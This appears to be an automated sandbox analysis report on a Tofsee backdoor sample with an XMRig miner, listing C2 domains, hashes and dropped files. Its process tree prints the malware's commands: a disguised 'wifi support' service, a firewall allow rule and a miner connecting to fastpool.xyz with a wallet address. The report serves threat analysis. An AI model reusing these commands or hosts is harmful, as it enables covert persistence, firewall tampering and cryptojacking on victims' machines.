Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 13:20

General

  • Target
    file.exe
  • Size 280KB
  • Sample230110-qk4vmsgb49
  • SHA256 a7114af4127ee340e63f40e2a1726c3bd7af85b17bdf33d199b8ea7f3b35d07b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uarrloxi\
      2⤵
        PID:5044
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brkifovu.exe" C:\Windows\SysWOW64\uarrloxi\
        2⤵
          PID:4832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uarrloxi binPath= "C:\Windows\SysWOW64\uarrloxi\brkifovu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uarrloxi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2056
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uarrloxi
          2⤵
          • Launches sc.exe
          PID:3504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4052
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 1252
          2⤵
          • Program crash
          PID:4180
      • C:\Windows\SysWOW64\uarrloxi\brkifovu.exe
        C:\Windows\SysWOW64\uarrloxi\brkifovu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:496
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2092
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2444
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 496 -s 516
          2⤵
          • Program crash
          PID:676
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4236 -ip 4236
        1⤵
          PID:804
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 496 -ip 496
          1⤵
            PID:4380

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                brkifovu.exe

                • Path C:\Users\Admin\AppData\Local\Temp\brkifovu.exe
                • Size 11.8MB
                • SHA256 10355448b4e2a7a18a1f6a4c6aa0832c731703a554a0bbfc83bfd51e8eca7a61
                • MD5 SHA1 SHA512 SSDEEP

                brkifovu.exe

                • Path C:\Windows\SysWOW64\uarrloxi\brkifovu.exe
                • Size 11.8MB
                • SHA256 10355448b4e2a7a18a1f6a4c6aa0832c731703a554a0bbfc83bfd51e8eca7a61
                • MD5 SHA1 SHA512 SSDEEP

                memory/496-156-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/496-151-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/496-150-0x0000000002DA9000-0x0000000002DB9000-memory.dmp

                memory/2092-161-0x0000000002360000-0x0000000002370000-memory.dmp

                memory/2092-170-0x0000000007590000-0x0000000007597000-memory.dmp

                memory/2092-167-0x0000000007040000-0x000000000744B000-memory.dmp

                memory/2092-164-0x00000000025F0000-0x00000000025F5000-memory.dmp

                memory/2092-159-0x00000000004C0000-0x00000000004D5000-memory.dmp

                memory/2092-157-0x0000000002350000-0x0000000002356000-memory.dmp

                memory/2092-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/2092-147-0x00000000004C0000-0x00000000004D5000-memory.dmp

                memory/2092-152-0x00000000004C0000-0x00000000004D5000-memory.dmp

                memory/2444-179-0x0000000000E60000-0x0000000000F51000-memory.dmp

                memory/2444-174-0x0000000000E60000-0x0000000000F51000-memory.dmp

                memory/4236-144-0x0000000002E40000-0x0000000002E53000-memory.dmp

                memory/4236-145-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/4236-143-0x0000000002F1D000-0x0000000002F2E000-memory.dmp

                memory/4236-134-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/4236-133-0x0000000002E40000-0x0000000002E53000-memory.dmp

                memory/4236-132-0x0000000002F1D000-0x0000000002F2E000-memory.dmp